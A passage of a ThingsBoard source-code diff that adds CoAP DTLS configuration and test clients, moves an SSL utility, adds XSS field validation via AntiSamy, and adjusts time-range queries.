* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap;
import com.google.common.io.Resources;
import lombok.extern.slf4j.Slf4j;
import org.eclipse.californium.elements.util.SslContextUtil;
import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
import org.eclipse.californium.scandium.dtls.CertificateType;
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.beans.factory.annotation.Value;
import org.springframework.boot.autoconfigure.condition.ConditionalOnExpression;
import org.springframework.boot.autoconfigure.condition.ConditionalOnProperty;
import org.springframework.stereotype.Component;
import org.thingsboard.server.common.transport.TransportService;
import org.thingsboard.server.queue.discovery.TbServiceInfoProvider;
import java.io.IOException;
import java.net.InetAddress;
import java.net.InetSocketAddress;
import java.net.UnknownHostException;
import java.security.GeneralSecurityException;
import java.security.cert.Certificate;
import java.util.Collections;
import java.util.Optional;
@Slf4j
@ConditionalOnProperty(prefix = "transport.coap.dtls", value = "enabled", havingValue = "true", matchIfMissing = false)
@ConditionalOnExpression("'${transport.type:null}'=='null' || ('${transport.type}'=='local' && '${transport.coap.enabled}'=='true')")
@Component
public class TbCoapDtlsSettings {
@Value("${transport.coap.bind_address}")
private String host;
@Value("${transport.coap.bind_port}")
private Integer port;
@Value("${transport.coap.dtls.mode}")
private String mode;
@Value("${transport.coap.dtls.key_store}")
private String keyStoreFile;
@Value("${transport.coap.dtls.key_store_password}")
private String keyStorePassword;
@Value("${transport.coap.dtls.key_password}")
private String keyPassword;
@Value("${transport.coap.dtls.key_alias}")
private String keyAlias;
@Value("${transport.coap.dtls.skip_validity_check_for_client_cert}")
private boolean skipValidityCheckForClientCert;
@Value("${transport.coap.dtls.x509.dtls_session_inactivity_timeout}")
private long dtlsSessionInactivityTimeout;
@Value("${transport.coap.dtls.x509.dtls_session_report_timeout}")
private long dtlsSessionReportTimeout;
@Autowired
private TransportService transportService;
@Autowired
private TbServiceInfoProvider serviceInfoProvider;
public DtlsConnectorConfig dtlsConnectorConfig() throws UnknownHostException {
Optional<SecurityMode> securityModeOpt = SecurityMode.parse(mode);
if (securityModeOpt.isEmpty()) {
log.warn("Incorrect configuration of securityMode {}", mode);
throw new RuntimeException("Failed to parse mode property: " + mode + "!");
} else {
DtlsConnectorConfig.Builder configBuilder = new DtlsConnectorConfig.Builder();
configBuilder.setAddress(getInetSocketAddress());
String keyStoreFilePath = Resources.getResource(keyStoreFile).getPath();
SslContextUtil.Credentials serverCredentials = loadServerCredentials(keyStoreFilePath);
SecurityMode securityMode = securityModeOpt.get();
if (securityMode.equals(SecurityMode.NO_AUTH)) {
configBuilder.setClientAuthenticationRequired(false);
configBuilder.setServerOnly(true);
} else {
configBuilder.setAdvancedCertificateVerifier(
new TbCoapDtlsCertificateVerifier(
transportService,
serviceInfoProvider,
dtlsSessionInactivityTimeout,
dtlsSessionReportTimeout,
skipValidityCheckForClientCert
)
);
}
configBuilder.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(),
Collections.singletonList(CertificateType.X_509));
return configBuilder.build();
}
}
private SslContextUtil.Credentials loadServerCredentials(String keyStoreFilePath) {
try {
return SslContextUtil.loadCredentials(keyStoreFilePath, keyAlias, keyStorePassword.toCharArray(),
keyPassword.toCharArray());
} catch (GeneralSecurityException | IOException e) {
throw new RuntimeException("Failed to load serverCredentials due to: ", e);
}
}
private void loadTrustedCertificates(DtlsConnectorConfig.Builder config, String keyStoreFilePath) {
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
try {
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
keyStoreFilePath, keyAlias,
keyStorePassword.toCharArray());
trustBuilder.setTrustedCertificates(trustedCertificates);
if (trustBuilder.hasTrusts()) {
config.setAdvancedCertificateVerifier(trustBuilder.build());
}
} catch (GeneralSecurityException | IOException e) {
throw new RuntimeException("Failed to load trusted certificates due to: ", e);
}
}
private InetSocketAddress getInetSocketAddress() throws UnknownHostException {
InetAddress addr = InetAddress.getByName(host);
return new InetSocketAddress(addr, port);
}
private enum SecurityMode {
X509,
NO_AUTH;
static Optional<SecurityMode> parse(String name) {
SecurityMode mode = null;
if (name != null) {
for (SecurityMode securityMode : SecurityMode.values()) {
if (securityMode.name().equalsIgnoreCase(name)) {
mode = securityMode;
break;
}
}
}
return Optional.ofNullable(mode);
}
}
}

97
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/NoSecClient.java

@ -0,0 +1,97 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap.client;
import org.eclipse.californium.core.CoapClient;
import org.eclipse.californium.core.CoapResponse;
import org.eclipse.californium.core.Utils;
import org.eclipse.californium.elements.DtlsEndpointContext;
import org.eclipse.californium.elements.EndpointContext;
import org.eclipse.californium.elements.exception.ConnectorException;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.security.Principal;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class NoSecClient {
private ExecutorService executor = Executors.newFixedThreadPool(1);
private CoapClient coapClient;
public NoSecClient(String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
this.coapClient = new CoapClient(uri);
}
public void test() {
executor.submit(() -> {
try {
while (!Thread.interrupted()) {
CoapResponse response = null;
try {
response = coapClient.get();
} catch (ConnectorException | IOException e) {
System.err.println("Error occurred while sending request: " + e);
System.exit(-1);
}
if (response != null) {
System.out.println(response.getCode() + " - " + response.getCode().name());
System.out.println(response.getOptions());
System.out.println(response.getResponseText());
System.out.println();
System.out.println("ADVANCED:");
EndpointContext context = response.advanced().getSourceContext();
Principal identity = context.getPeerIdentity();
if (identity != null) {
System.out.println(context.getPeerIdentity());
} else {
System.out.println("anonymous");
}
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
System.out.println(Utils.prettyPrint(response));
} else {
System.out.println("No response received.");
}
Thread.sleep(5000);
}
} catch (Exception e) {
System.out.println("Error occurred while sending COAP requests.");
}
});
}
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
return "coap://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
}
public static void main(String[] args) throws URISyntaxException {
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.NoSecClient " +
"host port accessToken clientKeys sharedKeys");
String host = args[0];
int port = Integer.parseInt(args[1]);
String accessToken = args[2];
String clientKeys = args[3];
String sharedKeys = args[4];
NoSecClient client = new NoSecClient(host, port, accessToken, clientKeys, sharedKeys);
client.test();
}
}

145
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/SecureClientNoAuth.java

@ -0,0 +1,145 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap.client;
import org.eclipse.californium.core.CoapClient;
import org.eclipse.californium.core.CoapResponse;
import org.eclipse.californium.core.Utils;
import org.eclipse.californium.core.network.CoapEndpoint;
import org.eclipse.californium.elements.DtlsEndpointContext;
import org.eclipse.californium.elements.EndpointContext;
import org.eclipse.californium.elements.exception.ConnectorException;
import org.eclipse.californium.elements.util.SslContextUtil;
import org.eclipse.californium.scandium.DTLSConnector;
import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
import org.eclipse.californium.scandium.dtls.CertificateType;
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.security.GeneralSecurityException;
import java.security.Principal;
import java.security.cert.Certificate;
import java.util.Collections;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class SecureClientNoAuth {
private final DTLSConnector dtlsConnector;
private ExecutorService executor = Executors.newFixedThreadPool(1);
private CoapClient coapClient;
public SecureClientNoAuth(DTLSConnector dtlsConnector, String host, int port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
this.dtlsConnector = dtlsConnector;
this.coapClient = getCoapClient(host, port, accessToken, clientKeys, sharedKeys);
}
public void test() {
executor.submit(() -> {
try {
while (!Thread.interrupted()) {
CoapResponse response = null;
try {
response = coapClient.get();
} catch (ConnectorException | IOException e) {
System.err.println("Error occurred while sending request: " + e);
System.exit(-1);
}
if (response != null) {
System.out.println(response.getCode() + " - " + response.getCode().name());
System.out.println(response.getOptions());
System.out.println(response.getResponseText());
System.out.println();
System.out.println("ADVANCED:");
EndpointContext context = response.advanced().getSourceContext();
Principal identity = context.getPeerIdentity();
if (identity != null) {
System.out.println(context.getPeerIdentity());
} else {
System.out.println("anonymous");
}
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
System.out.println(Utils.prettyPrint(response));
} else {
System.out.println("No response received.");
}
Thread.sleep(5000);
}
} catch (Exception e) {
System.out.println("Error occurred while sending COAP requests.");
}
});
}
private CoapClient getCoapClient(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) throws URISyntaxException {
URI uri = new URI(getFutureUrl(host, port, accessToken, clientKeys, sharedKeys));
CoapClient client = new CoapClient(uri);
CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
builder.setConnector(dtlsConnector);
client.setEndpoint(builder.build());
return client;
}
private String getFutureUrl(String host, Integer port, String accessToken, String clientKeys, String sharedKeys) {
return "coaps://" + host + ":" + port + "/api/v1/" + accessToken + "/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
}
public static void main(String[] args) throws URISyntaxException {
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientNoAuth " +
"host port accessToken keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
String host = args[0];
int port = Integer.parseInt(args[1]);
String accessToken = args[2];
String clientKeys = args[7];
String sharedKeys = args[8];
String keyStoreUriPath = args[3];
String keyStoreAlias = args[4];
String trustedAliasPattern = args[5];
String keyStorePassword = args[6];
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
SecureClientNoAuth client = new SecureClientNoAuth(dtlsConnector, host, port, accessToken, clientKeys, sharedKeys);
client.test();
}
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
try {
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
trustBuilder.setTrustedCertificates(trustedCertificates);
config.setAdvancedCertificateVerifier(trustBuilder.build());
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
} catch (GeneralSecurityException e) {
System.err.println("certificates are invalid!");
throw new IllegalArgumentException(e.getMessage());
} catch (IOException e) {
System.err.println("certificates are missing!");
throw new IllegalArgumentException(e.getMessage());
}
}
}

144
common/transport/coap/src/main/java/org/thingsboard/server/transport/coap/client/SecureClientX509.java

@ -0,0 +1,144 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.coap.client;
import org.eclipse.californium.core.CoapClient;
import org.eclipse.californium.core.CoapResponse;
import org.eclipse.californium.core.Utils;
import org.eclipse.californium.core.network.CoapEndpoint;
import org.eclipse.californium.elements.DtlsEndpointContext;
import org.eclipse.californium.elements.EndpointContext;
import org.eclipse.californium.elements.exception.ConnectorException;
import org.eclipse.californium.elements.util.SslContextUtil;
import org.eclipse.californium.scandium.DTLSConnector;
import org.eclipse.californium.scandium.config.DtlsConnectorConfig;
import org.eclipse.californium.scandium.dtls.CertificateType;
import org.eclipse.californium.scandium.dtls.x509.StaticNewAdvancedCertificateVerifier;
import java.io.IOException;
import java.net.URI;
import java.net.URISyntaxException;
import java.security.GeneralSecurityException;
import java.security.Principal;
import java.security.cert.Certificate;
import java.util.Collections;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
public class SecureClientX509 {
private final DTLSConnector dtlsConnector;
private ExecutorService executor = Executors.newFixedThreadPool(1);
private CoapClient coapClient;
public SecureClientX509(DTLSConnector dtlsConnector, String host, int port, String clientKeys, String sharedKeys) throws URISyntaxException {
this.dtlsConnector = dtlsConnector;
this.coapClient = getCoapClient(host, port, clientKeys, sharedKeys);
}
public void test() {
executor.submit(() -> {
try {
while (!Thread.interrupted()) {
CoapResponse response = null;
try {
response = coapClient.get();
} catch (ConnectorException | IOException e) {
System.err.println("Error occurred while sending request: " + e);
System.exit(-1);
}
if (response != null) {
System.out.println(response.getCode() + " - " + response.getCode().name());
System.out.println(response.getOptions());
System.out.println(response.getResponseText());
System.out.println();
System.out.println("ADVANCED:");
EndpointContext context = response.advanced().getSourceContext();
Principal identity = context.getPeerIdentity();
if (identity != null) {
System.out.println(context.getPeerIdentity());
} else {
System.out.println("anonymous");
}
System.out.println(context.get(DtlsEndpointContext.KEY_CIPHER));
System.out.println(Utils.prettyPrint(response));
} else {
System.out.println("No response received.");
}
Thread.sleep(5000);
}
} catch (Exception e) {
System.out.println("Error occurred while sending COAP requests.");
}
});
}
private CoapClient getCoapClient(String host, Integer port, String clientKeys, String sharedKeys) throws URISyntaxException {
URI uri = new URI(getFutureUrl(host, port, clientKeys, sharedKeys));
CoapClient client = new CoapClient(uri);
CoapEndpoint.Builder builder = new CoapEndpoint.Builder();
builder.setConnector(dtlsConnector);
client.setEndpoint(builder.build());
return client;
}
private String getFutureUrl(String host, Integer port, String clientKeys, String sharedKeys) {
return "coaps://" + host + ":" + port + "/api/v1/attributes?clientKeys=" + clientKeys + "&sharedKeys=" + sharedKeys;
}
public static void main(String[] args) throws URISyntaxException {
System.out.println("Usage: java -cp ... org.thingsboard.server.transport.coap.client.SecureClientX509 " +
"host port keyStoreUriPath keyStoreAlias trustedAliasPattern clientKeys sharedKeys");
String host = args[0];
int port = Integer.parseInt(args[1]);
String clientKeys = args[6];
String sharedKeys = args[7];
String keyStoreUriPath = args[2];
String keyStoreAlias = args[3];
String trustedAliasPattern = args[4];
String keyStorePassword = args[5];
DtlsConnectorConfig.Builder builder = new DtlsConnectorConfig.Builder();
setupCredentials(builder, keyStoreUriPath, keyStoreAlias, trustedAliasPattern, keyStorePassword);
DTLSConnector dtlsConnector = new DTLSConnector(builder.build());
SecureClientX509 client = new SecureClientX509(dtlsConnector, host, port, clientKeys, sharedKeys);
client.test();
}
private static void setupCredentials(DtlsConnectorConfig.Builder config, String keyStoreUriPath, String keyStoreAlias, String trustedAliasPattern, String keyStorePassword) {
StaticNewAdvancedCertificateVerifier.Builder trustBuilder = StaticNewAdvancedCertificateVerifier.builder();
try {
SslContextUtil.Credentials serverCredentials = SslContextUtil.loadCredentials(
keyStoreUriPath, keyStoreAlias, keyStorePassword.toCharArray(), keyStorePassword.toCharArray());
Certificate[] trustedCertificates = SslContextUtil.loadTrustedCertificates(
keyStoreUriPath, trustedAliasPattern, keyStorePassword.toCharArray());
trustBuilder.setTrustedCertificates(trustedCertificates);
config.setAdvancedCertificateVerifier(trustBuilder.build());
config.setIdentity(serverCredentials.getPrivateKey(), serverCredentials.getCertificateChain(), Collections.singletonList(CertificateType.X_509));
} catch (GeneralSecurityException e) {
System.err.println("certificates are invalid!");
throw new IllegalArgumentException(e.getMessage());
} catch (IOException e) {
System.err.println("certificates are missing!");
throw new IllegalArgumentException(e.getMessage());
}
}
}

3
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/MqttSslHandlerProvider.java

@ -30,7 +30,7 @@ import org.thingsboard.server.common.transport.TransportService;
import org.thingsboard.server.common.transport.TransportServiceCallback;
import org.thingsboard.server.common.transport.auth.ValidateDeviceCredentialsResponse;
import org.thingsboard.server.gen.transport.TransportProtos;
import org.thingsboard.server.transport.mqtt.util.SslUtil;
import org.thingsboard.server.common.transport.util.SslUtil;
import javax.net.ssl.KeyManager;
import javax.net.ssl.KeyManagerFactory;
@ -41,7 +41,6 @@ import javax.net.ssl.TrustManagerFactory;
import javax.net.ssl.X509TrustManager;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.URL;
import java.security.KeyStore;

2
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/MqttTransportHandler.java

@ -66,7 +66,7 @@ import org.thingsboard.server.transport.mqtt.adaptors.MqttTransportAdaptor;
import org.thingsboard.server.transport.mqtt.session.DeviceSessionCtx;
import org.thingsboard.server.transport.mqtt.session.GatewaySessionHandler;
import org.thingsboard.server.transport.mqtt.session.MqttTopicMatcher;
import org.thingsboard.server.transport.mqtt.util.SslUtil;
import org.thingsboard.server.common.transport.util.SslUtil;
import javax.net.ssl.SSLPeerUnverifiedException;
import java.security.cert.Certificate;

2
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/adaptors/ProtoMqttAdaptor.java

@ -146,7 +146,7 @@ public class ProtoMqttAdaptor implements MqttTransportAdaptor {
@Override
public Optional<MqttMessage> convertToPublish(MqttDeviceAwareSessionContext ctx, TransportProtos.ToDeviceRpcRequestMsg rpcRequest) {
return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), rpcRequest.toByteArray()));
return Optional.of(createMqttPublishMsg(ctx, MqttTopics.DEVICE_RPC_REQUESTS_TOPIC + rpcRequest.getRequestId(), ProtoConverter.convertToRpcRequest(rpcRequest)));
}
@Override

8
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/adaptor/JsonConverter.java

@ -107,7 +107,7 @@ public class JsonConverter {
public static ClaimDeviceMsg convertToClaimDeviceProto(DeviceId deviceId, String json) {
long durationMs = 0L;
if (json != null && !json.isEmpty()) {
return convertToClaimDeviceProto(deviceId, new JsonParser().parse(json));
return convertToClaimDeviceProto(deviceId, JSON_PARSER.parse(json));
}
return buildClaimDeviceMsg(deviceId, DataConstants.DEFAULT_SECRET_KEY, durationMs);
}
@ -156,7 +156,7 @@ public class JsonConverter {
result.addProperty("id", msg.getRequestId());
}
result.addProperty("method", msg.getMethodName());
result.add("params", new JsonParser().parse(msg.getParams()));
result.add("params", JSON_PARSER.parse(msg.getParams()));
return result;
}
@ -405,7 +405,7 @@ public class JsonConverter {
public static JsonElement toJson(TransportProtos.ToServerRpcResponseMsg msg) {
if (StringUtils.isEmpty(msg.getError())) {
return new JsonParser().parse(msg.getPayload());
return JSON_PARSER.parse(msg.getPayload());
} else {
JsonObject errorMsg = new JsonObject();
errorMsg.addProperty("error", msg.getError());
@ -563,7 +563,7 @@ public class JsonConverter {
}
public static TransportProtos.ProvisionDeviceRequestMsg convertToProvisionRequestMsg(String json) {
JsonElement jsonElement = new JsonParser().parse(json);
JsonElement jsonElement = JSON_PARSER.parse(json);
if (jsonElement.isJsonObject()) {
return buildProvisionRequestMsg(jsonElement.getAsJsonObject());
} else {

25
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/adaptor/ProtoConverter.java

@ -15,7 +15,9 @@
*/
package org.thingsboard.server.common.transport.adaptor;
import com.google.gson.JsonElement;
import com.google.gson.JsonParser;
import com.google.gson.JsonPrimitive;
import com.google.protobuf.InvalidProtocolBufferException;
import lombok.extern.slf4j.Slf4j;
import org.springframework.util.CollectionUtils;
@ -167,4 +169,27 @@ public class ProtoConverter {
});
return kvList;
}
public static byte[] convertToRpcRequest(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
TransportProtos.ToDeviceRpcRequestMsg.Builder toDeviceRpcRequestMsgBuilder = toDeviceRpcRequestMsg.newBuilderForType();
toDeviceRpcRequestMsgBuilder.mergeFrom(toDeviceRpcRequestMsg);
toDeviceRpcRequestMsgBuilder.setParams(parseParams(toDeviceRpcRequestMsg));
TransportProtos.ToDeviceRpcRequestMsg result = toDeviceRpcRequestMsgBuilder.build();
return result.toByteArray();
}
private static String parseParams(TransportProtos.ToDeviceRpcRequestMsg toDeviceRpcRequestMsg) {
String params = toDeviceRpcRequestMsg.getParams();
JsonElement jsonElementParams = JSON_PARSER.parse(params);
if (!jsonElementParams.isJsonPrimitive()) {
return params;
} else {
JsonPrimitive primitiveParams = jsonElementParams.getAsJsonPrimitive();
if (jsonElementParams.getAsJsonPrimitive().isString()) {
return primitiveParams.getAsString();
} else {
return params;
}
}
}
}

10
common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/auth/SessionInfoCreator.java

@ -25,7 +25,15 @@ import java.util.UUID;
public class SessionInfoCreator {
public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, TransportContext context, UUID sessionId) {
return TransportProtos.SessionInfoProto.newBuilder().setNodeId(context.getNodeId())
return getSessionInfoProto(msg, context.getNodeId(), sessionId);
}
public static TransportProtos.SessionInfoProto create(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
return getSessionInfoProto(msg, nodeId, sessionId);
}
private static TransportProtos.SessionInfoProto getSessionInfoProto(ValidateDeviceCredentialsResponse msg, String nodeId, UUID sessionId) {
return TransportProtos.SessionInfoProto.newBuilder().setNodeId(nodeId)
.setSessionIdMSB(sessionId.getMostSignificantBits())
.setSessionIdLSB(sessionId.getLeastSignificantBits())
.setDeviceIdMSB(msg.getDeviceInfo().getDeviceId().getId().getMostSignificantBits())

3
common/transport/mqtt/src/main/java/org/thingsboard/server/transport/mqtt/util/SslUtil.java → common/transport/transport-api/src/main/java/org/thingsboard/server/common/transport/util/SslUtil.java

@ -13,13 +13,12 @@
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.transport.mqtt.util;
package org.thingsboard.server.common.transport.util;
import lombok.extern.slf4j.Slf4j;
import org.springframework.util.Base64Utils;
import org.thingsboard.server.common.msg.EncryptionUtil;
import java.io.IOException;
import java.security.cert.Certificate;
import java.security.cert.CertificateEncodingException;

13
dao/pom.xml

@ -111,6 +111,14 @@
<groupId>com.fasterxml.jackson.core</groupId>
<artifactId>jackson-databind</artifactId>
</dependency>
<dependency>
<groupId>org.hibernate.validator</groupId>
<artifactId>hibernate-validator</artifactId>
</dependency>
<dependency>
<groupId>org.glassfish</groupId>
<artifactId>javax.el</artifactId>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context</artifactId>
@ -198,6 +206,11 @@
<artifactId>hsqldb</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.junit.jupiter</groupId>
<artifactId>junit-jupiter-params</artifactId>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-context-support</artifactId>

38
dao/src/main/java/org/thingsboard/server/dao/service/DataValidator.java

@ -17,29 +17,50 @@ package org.thingsboard.server.dao.service;
import com.fasterxml.jackson.databind.JsonNode;
import lombok.extern.slf4j.Slf4j;
import org.hibernate.validator.HibernateValidator;
import org.hibernate.validator.HibernateValidatorConfiguration;
import org.hibernate.validator.cfg.ConstraintMapping;
import org.thingsboard.server.common.data.BaseData;
import org.thingsboard.server.common.data.EntityType;
import org.thingsboard.server.common.data.id.TenantId;
import org.thingsboard.server.common.data.validation.NoXss;
import org.thingsboard.server.dao.TenantEntityDao;
import org.thingsboard.server.dao.exception.DataValidationException;
import javax.validation.ConstraintViolation;
import javax.validation.Validation;
import javax.validation.Validator;
import java.util.HashSet;
import java.util.Iterator;
import java.util.List;
import java.util.Set;
import java.util.function.Function;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import java.util.stream.Collectors;
@Slf4j
public abstract class DataValidator<D extends BaseData<?>> {
private static final Pattern EMAIL_PATTERN =
Pattern.compile("^[A-Z0-9._%+-]+@[A-Z0-9.-]+\\.[A-Z]{2,}$", Pattern.CASE_INSENSITIVE);
private static Validator fieldsValidator;
static {
initializeFieldsValidator();
}
public void validate(D data, Function<D, TenantId> tenantIdFunction) {
try {
if (data == null) {
throw new DataValidationException("Data object can't be null!");
}
List<String> validationErrors = validateFields(data);
if (!validationErrors.isEmpty()) {
throw new IllegalArgumentException("Validation error: " + String.join(", ", validationErrors));
}
TenantId tenantId = tenantIdFunction.apply(data);
validateDataImpl(tenantId, data);
if (data.getId() == null) {
@ -81,6 +102,14 @@ public abstract class DataValidator<D extends BaseData<?>> {
return emailMatcher.matches();
}
private List<String> validateFields(D data) {
Set<ConstraintViolation<D>> constraintsViolations = fieldsValidator.validate(data);
return constraintsViolations.stream()
.map(ConstraintViolation::getMessage)
.distinct()
.collect(Collectors.toList());
}
protected void validateNumberOfEntitiesPerTenant(TenantId tenantId,
TenantEntityDao tenantEntityDao,
long maxEntities,
@ -111,4 +140,13 @@ public abstract class DataValidator<D extends BaseData<?>> {
throw new DataValidationException("Provided json structure is different from stored one '" + actualNode + "'!");
}
}
private static void initializeFieldsValidator() {
HibernateValidatorConfiguration validatorConfiguration = Validation.byProvider(HibernateValidator.class).configure();
ConstraintMapping constraintMapping = validatorConfiguration.createConstraintMapping();
constraintMapping.constraintDefinition(NoXss.class).validatedBy(NoXssValidator.class);
validatorConfiguration.addMapping(constraintMapping);
fieldsValidator = validatorConfiguration.buildValidatorFactory().getValidator();
}
}

57
dao/src/main/java/org/thingsboard/server/dao/service/NoXssValidator.java

@ -0,0 +1,57 @@
/**
* Copyright © 2016-2021 The Thingsboard Authors
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.thingsboard.server.dao.service;
import com.google.common.io.Resources;
import lombok.extern.slf4j.Slf4j;
import org.owasp.validator.html.AntiSamy;
import org.owasp.validator.html.Policy;
import org.owasp.validator.html.PolicyException;
import org.owasp.validator.html.ScanException;
import org.thingsboard.server.common.data.validation.NoXss;
import javax.validation.ConstraintValidator;
import javax.validation.ConstraintValidatorContext;
@Slf4j
public class NoXssValidator implements ConstraintValidator<NoXss, Object> {
private static final AntiSamy xssChecker = new AntiSamy();
private static Policy xssPolicy;
@Override
public void initialize(NoXss constraintAnnotation) {
if (xssPolicy == null) {
try {
xssPolicy = Policy.getInstance(Resources.getResource("xss-policy.xml"));
} catch (Exception e) {
log.error("Failed to set xss policy: {}", e.getMessage());
}
}
}
@Override
public boolean isValid(Object value, ConstraintValidatorContext constraintValidatorContext) {
if (!(value instanceof String) || ((String) value).isEmpty() || xssPolicy == null) {
return true;
}
try {
return xssChecker.scan((String) value, xssPolicy).getNumberOfErrors() == 0;
} catch (ScanException | PolicyException e) {
return false;
}
}
}

4
dao/src/main/java/org/thingsboard/server/dao/sqlts/timescale/TsKvTimescaleRepository.java

@ -33,7 +33,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
@Query("SELECT tskv FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
"AND tskv.key = :entityKey " +
"AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.ts >= :startTs AND tskv.ts < :endTs")
List<TimescaleTsKvEntity> findAllWithLimit(
@Param("entityId") UUID entityId,
@Param("entityKey") int key,
@ -44,7 +44,7 @@ public interface TsKvTimescaleRepository extends CrudRepository<TimescaleTsKvEnt
@Modifying
@Query("DELETE FROM TimescaleTsKvEntity tskv WHERE tskv.entityId = :entityId " +
"AND tskv.key = :entityKey " +
"AND tskv.ts > :startTs AND tskv.ts <= :endTs")
"AND tskv.ts >= :startTs AND tskv.ts < :endTs")
void delete(@Param("entityId") UUID entityId,
@Param("entityKey") int key,
@Param("startTs") long startTs,

18
dao/src/main/java/org/thingsboard/server/dao/sqlts/ts/TsKvRepository.java

@ -32,7 +32,7 @@ import java.util.concurrent.CompletableFuture;
